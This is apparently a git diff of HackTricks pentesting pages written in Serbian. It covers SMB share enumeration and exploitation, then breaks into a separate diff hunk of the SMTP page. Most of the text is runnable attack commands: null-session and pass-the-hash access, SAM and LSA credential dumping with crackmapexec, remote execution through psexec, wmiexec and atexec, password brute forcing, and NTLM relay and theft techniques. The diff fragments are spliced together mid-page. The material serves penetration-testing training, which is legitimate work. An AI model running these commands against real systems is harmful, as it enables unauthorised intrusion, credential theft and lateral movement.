crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||||
|
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||||
|
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Poveži/Listaj deljeni folder**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Connect using smbclient
|
||||||
|
smbclient --no-pass //<IP>/<Folder>
|
||||||
|
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||||
|
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||||
|
|
||||||
|
#List with smbmap, without folder it list everything
|
||||||
|
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||||
|
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||||
|
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Ručno nabrajanje Windows deljenih resursa i povezivanje sa njima**
|
||||||
|
|
||||||
|
Moguće je da ste ograničeni da prikažete bilo koje deljene resurse na host mašini i kada pokušate da ih nabrojite, može se činiti da ne postoji nijedan deo na koji možete da se povežete. Stoga bi bilo vredno pokušati ručno se povezati sa deljenim resursom. Da biste ručno nabrojali deljene resurse, možda ćete želeti da tražite odgovore poput NT\_STATUS\_ACCESS\_DENIED i NT\_STATUS\_BAD\_NETWORK\_NAME, kada koristite validnu sesiju (npr. null sesiju ili validne akreditive). Ovi odgovori mogu ukazivati da li deo postoji i da nemate pristup njemu ili deo uopšte ne postoji.
|
||||||
|
|
||||||
|
Uobičajena imena deljenih resursa za Windows ciljeve su
|
||||||
|
|
||||||
|
* C$
|
||||||
|
* D$
|
||||||
|
* ADMIN$
|
||||||
|
* IPC$
|
||||||
|
* PRINT$
|
||||||
|
* FAX$
|
||||||
|
* SYSVOL
|
||||||
|
* NETLOGON
|
||||||
|
|
||||||
|
(Uobičajena imena deljenih resursa iz _**Network Security Assessment 3rd edition**_)
|
||||||
|
|
||||||
|
Možete pokušati da se povežete sa njima koristeći sledeću komandu
|
||||||
|
|
||||||
|
```bash
|
||||||
|
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||||
|
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||||
|
```
|
||||||
|
|
||||||
|
ili ovaj skript (koristeći null sesiju)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#/bin/bash
|
||||||
|
|
||||||
|
ip='<TARGET-IP-HERE>'
|
||||||
|
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||||||
|
|
||||||
|
for share in ${shares[*]}; do
|
||||||
|
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||||
|
|
||||||
|
if [[ -z $output ]]; then
|
||||||
|
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||||
|
else
|
||||||
|
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
primeri
|
||||||
|
|
||||||
|
```bash
|
||||||
|
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||||
|
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Nabrajanje deljenih resursa sa Windows / bez alata treće strane**
|
||||||
|
|
||||||
|
PowerShell
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Retrieves the SMB shares on the locale computer.
|
||||||
|
Get-SmbShare
|
||||||
|
Get-WmiObject -Class Win32_Share
|
||||||
|
# Retrieves the SMB shares on a remote computer.
|
||||||
|
get-smbshare -CimSession "<computer name or session object>"
|
||||||
|
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||||
|
Get-SmbConnection
|
||||||
|
```
|
||||||
|
|
||||||
|
CMD konzola
|
||||||
|
|
||||||
|
```shell
|
||||||
|
# List shares on the local computer
|
||||||
|
net share
|
||||||
|
# List shares on a remote computer (including hidden ones)
|
||||||
|
net view \\<ip> /all
|
||||||
|
```
|
||||||
|
|
||||||
|
MMC Snap-in (graficki)
|
||||||
|
|
||||||
|
```shell
|
||||||
|
# Shared Folders: Shared Folders > Shares
|
||||||
|
fsmgmt.msc
|
||||||
|
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||||
|
compmgmt.msc
|
||||||
|
```
|
||||||
|
|
||||||
|
explorer.exe (graficki), unesite `\\<ip>\` da biste videli dostupne ne-sakrivene deljene resurse.
|
||||||
|
|
||||||
|
### Montirajte deljeni folder
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mount -t cifs //x.x.x.x/share /mnt/share
|
||||||
|
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Preuzimanje fajlova**
|
||||||
|
|
||||||
|
Pročitajte prethodne sekcije kako biste naučili kako da se povežete sa akreditivima/Pass-the-Hash.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Search a file and download
|
||||||
|
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Download all
|
||||||
|
smbclient //<IP>/<share>
|
||||||
|
> mask ""
|
||||||
|
> recurse
|
||||||
|
> prompt
|
||||||
|
> mget *
|
||||||
|
#Download everything to current directory
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pretraga zajedničkih fascikli domena
|
||||||
|
|
||||||
|
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||||
|
|
||||||
|
```bash
|
||||||
|
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||||
|
```
|
||||||
|
|
||||||
|
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) pauk.
|
||||||
|
* `-M pauk_plus [--share <ime_deljenja>]`
|
||||||
|
* `--obrazac txt`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||||
|
```
|
||||||
|
|
||||||
|
Posebno interesantni sa deljenja su fajlovi nazvani **`Registry.xml`** jer **mogu sadržati lozinke** za korisnike konfigurisane sa **autologon** putem Grupe politika. Ili **`web.config`** fajlovi jer sadrže akreditive.
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
**SYSVOL deljenje** je **čitljivo** za sve autentifikovane korisnike u domenu. Tamo možete **pronaći** mnoge različite batch, VBScript i PowerShell **skripte**.\
|
||||||
|
Trebalo bi da **proverite** **skripte** unutar njega jer biste mogli **pronaći** osetljive informacije poput **lozinki**.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Čitanje Registra
|
||||||
|
|
||||||
|
Možda ćete moći da **pročitate registar** koristeći neke otkrivene akreditive. Impacket **`reg.py`** vam omogućava da pokušate:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||||
|
```
|
||||||
|
|
||||||
|
## Post Eksploatacija
|
||||||
|
|
||||||
|
Podrazumevana konfiguracija **Samba** servera obično se nalazi u `/etc/samba/smb.conf` i može imati neke **opasne konfiguracije**:
|
||||||
|
|
||||||
|
| **Podešavanje** | **Opis** |
|
||||||
|
| --------------------------- | -------------------------------------------------------------------- |
|
||||||
|
| `browseable = yes` | Dozvoljava li prikazivanje dostupnih deljenja u trenutnom deljenju? |
|
||||||
|
| `read only = no` | Zabranjuje li kreiranje i modifikaciju fajlova? |
|
||||||
|
| `writable = yes` | Dozvoljava li korisnicima kreiranje i modifikaciju fajlova? |
|
||||||
|
| `guest ok = yes` | Dozvoljava li povezivanje na servis bez korišćenja lozinke? |
|
||||||
|
| `enable privileges = yes` | Poštuje li privilegije dodeljene određenom SID-u? |
|
||||||
|
| `create mask = 0777` | Koje dozvole treba dodeliti novokreiranim fajlovima? |
|
||||||
|
| `directory mask = 0777` | Koje dozvole treba dodeliti novokreiranim direktorijumima? |
|
||||||
|
| `logon script = script.sh` | Koji skript treba da se izvrši prilikom korisnikovog prijavljivanja? |
|
||||||
|
| `magic script = script.sh` | Koja skripta treba da se izvrši kada se skripta zatvori? |
|
||||||
|
| `magic output = script.out` | Gde treba da se čuva izlaz magične skripte? |
|
||||||
|
|
||||||
|
Komanda `smbstatus` pruža informacije o **serveru** i o **kome je povezan**.
|
||||||
|
|
||||||
|
## Autentifikacija korišćenjem Kerberosa
|
||||||
|
|
||||||
|
Možete se **autentifikovati** na **kerberos** korišćenjem alata **smbclient** i **rpcclient**:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
smbclient --kerberos //ws01win10.domain.com/C$
|
||||||
|
rpcclient -k ws01win10.domain.com
|
||||||
|
```
|
||||||
|
|
||||||
|
## **Izvršavanje komandi**
|
||||||
|
|
||||||
|
### **crackmapexec**
|
||||||
|
|
||||||
|
crackmapexec može izvršiti komande **zloupotrebom** bilo kog od **mmcexec, smbexec, atexec, wmiexec** pri čemu je **wmiexec** metoda **podrazumevana**. Možete naznačiti koju opciju želite da koristite pomoću parametra `--exec-method`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
apt-get install crackmapexec
|
||||||
|
|
||||||
|
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||||
|
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||||
|
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||||
|
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||||
|
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||||
|
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||||
|
```
|
||||||
|
|
||||||
|
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||||
|
|
||||||
|
Oba opcije će **kreirati novu uslugu** (koristeći _\pipe\svcctl_ putem SMB-a) na ciljnom računaru i koristiti je za **izvršavanje nečega** (**psexec** će **prebaciti** izvršnu datoteku na ADMIN$ deljenje, a **smbexec** će pokazati na **cmd.exe/powershell.exe** i staviti u argumente payload --**tehnika bez datoteke-**-).\
|
||||||
|
**Više informacija** o [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||||
|
Na **kali** se nalazi u /usr/share/doc/python3-impacket/examples/
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#If no password is provided, it will be prompted
|
||||||
|
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||||
|
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||||
|
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||||
|
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||||
|
```
|
||||||
|
|
||||||
|
Korišćenjem **parametra** `-k` možete autentifikovati prema **kerberosu** umesto **NTLM-a**
|
||||||
|
|
||||||
|
### [wmiexec](../../windows-hardening/lateral-movement/wmicexec.md)/dcomexec
|
||||||
|
|
||||||
|
Tajno izvršite komandnu liniju bez dodira sa diskom ili pokretanja novog servisa korišćenjem DCOM-a preko **porta 135.**\
|
||||||
|
Na **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#If no password is provided, it will be prompted
|
||||||
|
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||||
|
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||||
|
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||||
|
```
|
||||||
|
|
||||||
|
Korišćenjem **parametra** `-k` možete se autentifikovati preko **kerberosa** umesto **NTLM**.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#If no password is provided, it will be prompted
|
||||||
|
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||||
|
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||||
|
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||||
|
```
|
||||||
|
|
||||||
|
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||||
|
|
||||||
|
Izvršite komande putem Planera zadataka (koristeći _\pipe\atsvc_ putem SMB-a).\
|
||||||
|
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||||
|
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Impacket referenca
|
||||||
|
|
||||||
|
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||||
|
|
||||||
|
## **Bruteforce korisničke akreditive**
|
||||||
|
|
||||||
|
**Ovo se ne preporučuje, možete blokirati nalog ako premašite maksimalan dozvoljeni broj pokušaja**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nmap --script smb-brute -p 445 <IP>
|
||||||
|
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||||
|
```
|
||||||
|
|
||||||
|
## Napad preusmeravanja SMB-a
|
||||||
|
|
||||||
|
Ovaj napad koristi Responder alat za **hvatanje SMB autentifikacionih sesija** na internoj mreži, i **preusmerava** ih ka **ciljnom računaru**. Ako autentifikaciona **sesija uspe**, automatski će vas prebaciti u **sistemski** **shell**.\
|
||||||
|
[**Više informacija o ovom napadu ovde.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
|
|
||||||
|
## SMB-Trap
|
||||||
|
|
||||||
|
Windows biblioteka URLMon.dll automatski pokušava autentifikaciju na hostu kada stranica pokuša da pristupi nekom sadržaju putem SMB-a, na primer: `img src="\\10.10.10.10\path\image.jpg"`
|
||||||
|
|
||||||
|
Ovo se dešava sa funkcijama:
|
||||||
|
|
||||||
|
* URLDownloadToFile
|
||||||
|
* URLDownloadToCache
|
||||||
|
* URLOpenStream
|
||||||
|
* URLOpenBlockingStream
|
||||||
|
|
||||||
|
Koje koriste neki pretraživači i alati (kao što je Skype)
|
||||||
|
|
||||||
|
![Izvor: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (93).png>)
|
||||||
|
|
||||||
|
### SMBTrap korišćenjem MitMf
|
||||||
|
|
||||||
|
![Izvor: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (94).png>)
|
||||||
|
|
||||||
|
## NTLM Krađa
|
||||||
|
|
||||||
|
Slično kao kod SMB zamke, postavljanje zlonamernih fajlova na ciljni sistem (putem SMB-a, na primer) može izazvati pokušaj SMB autentifikacije, omogućavajući da se NetNTLMv2 heš presretne alatom poput Responder-a. Heš zatim može biti dešifrovan offline ili korišćen u [napadu preusmeravanja SMB-a](./#smb-relay-attack).
|
||||||
|
|
||||||
|
[Pogledajte: ntlm\_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||||
|
|
||||||
|
## HackTricks Automatske Komande
|
||||||
|
|
||||||
|
```
|
||||||
|
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||||
|
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||||
|
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||||
|
|
||||||
|
Entry_1:
|
||||||
|
Name: Notes
|
||||||
|
Description: Notes for SMB
|
||||||
|
Note: |
|
||||||
|
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||||
|
|
||||||
|
#These are the commands I run in order every time I see an open SMB port
|
||||||
|
|
||||||
|
With No Creds
|
||||||
|
nbtscan {IP}
|
||||||
|
smbmap -H {IP}
|
||||||
|
smbmap -H {IP} -u null -p null
|
||||||
|
smbmap -H {IP} -u guest
|
||||||
|
smbclient -N -L //{IP}
|
||||||
|
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||||
|
rpcclient {IP}
|
||||||
|
rpcclient -U "" {IP}
|
||||||
|
crackmapexec smb {IP}
|
||||||
|
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||||
|
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||||
|
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||||
|
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||||
|
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||||
|
getArch.py -target {IP}
|
||||||
|
|
||||||
|
With Creds
|
||||||
|
smbmap -H {IP} -u {Username} -p {Password}
|
||||||
|
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||||
|
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||||
|
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||||
|
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||||
|
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||||
|
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||||
|
|
||||||
|
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||||
|
|
||||||
|
Entry_2:
|
||||||
|
Name: Enum4Linux
|
||||||
|
Description: General SMB Scan
|
||||||
|
Command: enum4linux -a {IP}
|
||||||
|
|
||||||
|
Entry_3:
|
||||||
|
Name: Nmap SMB Scan 1
|
||||||
|
Description: SMB Vuln Scan With Nmap
|
||||||
|
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||||
|
|
||||||
|
Entry_4:
|
||||||
|
Name: Nmap Smb Scan 2
|
||||||
|
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||||
|
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||||
|
|
||||||
|
Entry_5:
|
||||||
|
Name: Hydra Brute Force
|
||||||
|
Description: Need User
|
||||||
|
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||||
|
|
||||||
|
Entry_6:
|
||||||
|
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||||
|
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||||
|
Note: sourced from https://github.com/carlospolop/legion
|
||||||
|
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -27,10 +27,12 @@ Drugi načini podrške HackTricks-u:
|
||||||
U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi u svrhu e-pošte. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Nadalje, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja podrške za POP3.
|
U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi u svrhu e-pošte. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Nadalje, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja podrške za POP3.
|
||||||
|
|
||||||
**Podrazumevani port:** 25,465(ssl),587(ssl)
|
**Podrazumevani port:** 25,465(ssl),587(ssl)
|
||||||
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON VERSION
|
PORT STATE SERVICE REASON VERSION
|
||||||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||||||
```
|
```
|
||||||
|
|
||||||
### EMAIL Zaglavlja
|
### EMAIL Zaglavlja
|
||||||
|
|
||||||
Ako imate priliku da **naterate žrtvu da vam pošalje email** (putem kontakt forme na veb stranici na primer), učinite to jer **možete saznati o unutrašnjoj topologiji** žrtve gledajući zaglavlja mejla.
|
Ako imate priliku da **naterate žrtvu da vam pošalje email** (putem kontakt forme na veb stranici na primer), učinite to jer **možete saznati o unutrašnjoj topologiji** žrtve gledajući zaglavlja mejla.
|
||||||
|
@ -46,28 +48,37 @@ Otkrivanje **AV** može vam omogućiti iskorišćavanje **poznatih ranjivosti.**
|
||||||
### **Banner Grabbing/Osnovna konekcija**
|
### **Banner Grabbing/Osnovna konekcija**
|
||||||
|
|
||||||
**SMTP:**
|
**SMTP:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 25
|
nc -vn <IP> 25
|
||||||
```
|
```
|
||||||
**SMTPS**:
|
|
||||||
|
**SMTPS**:
|
||||||
|
|
||||||
**SMTPS (Secure SMTP)** je sigurna verzija protokola SMTP koja koristi SSL/TLS enkripciju za zaštitu komunikacije. Kada vršite testiranje penetracije SMTPS servera, možete iskoristiti alate poput `smtp-user-enum` za prepoznavanje važećih korisničkih naloga, `Nmap` za skeniranje otvorenih portova i `Metasploit` za ispitivanje ranjivosti.
|
**SMTPS (Secure SMTP)** je sigurna verzija protokola SMTP koja koristi SSL/TLS enkripciju za zaštitu komunikacije. Kada vršite testiranje penetracije SMTPS servera, možete iskoristiti alate poput `smtp-user-enum` za prepoznavanje važećih korisničkih naloga, `Nmap` za skeniranje otvorenih portova i `Metasploit` za ispitivanje ranjivosti.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
||||||
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
||||||
```
|
```
|
||||||
|
|
||||||
### Pronalaženje MX servera organizacije
|
### Pronalaženje MX servera organizacije
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dig +short mx google.com
|
dig +short mx google.com
|
||||||
```
|
```
|
||||||
|
|
||||||
### Enumeracija
|
### Enumeracija
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -p25 --script smtp-commands 10.10.10.10
|
nmap -p25 --script smtp-commands 10.10.10.10
|
||||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||||
```
|
```
|
||||||
|
|
||||||
### NTLM Auth - Otkrivanje informacija
|
### NTLM Auth - Otkrivanje informacija
|
||||||
|
|
||||||
Ako server podržava NTLM autentikaciju (Windows), možete dobiti osetljive informacije (verzije). Više informacija [**ovde**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
Ako server podržava NTLM autentikaciju (Windows), možete dobiti osetljive informacije (verzije). Više informacija [**ovde**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
root@kali: telnet example.com 587
|
root@kali: telnet example.com 587
|
||||||
220 example.com SMTP Server Banner
|
220 example.com SMTP Server Banner
|
||||||
|
@ -78,11 +89,13 @@ NTLM supported
|
||||||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||||
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||||
```
|
```
|
||||||
|
|
||||||
Ili **automatizujte** ovo pomoću **nmap** dodatka `smtp-ntlm-info.nse`
|
Ili **automatizujte** ovo pomoću **nmap** dodatka `smtp-ntlm-info.nse`
|
||||||
|
|
||||||
### Interno ime servera - Otkrivanje informacija
|
### Interno ime servera - Otkrivanje informacija
|
||||||
|
|
||||||
Neke SMTP servere automatski popunjavaju adresu pošiljaoca kada se izda komanda "MAIL FROM" bez potpune adrese, otkrivajući njegovo interno ime:
|
Neke SMTP servere automatski popunjavaju adresu pošiljaoca kada se izda komanda "MAIL FROM" bez potpune adrese, otkrivajući njegovo interno ime:
|
||||||
|
|
||||||
```
|
```
|
||||||
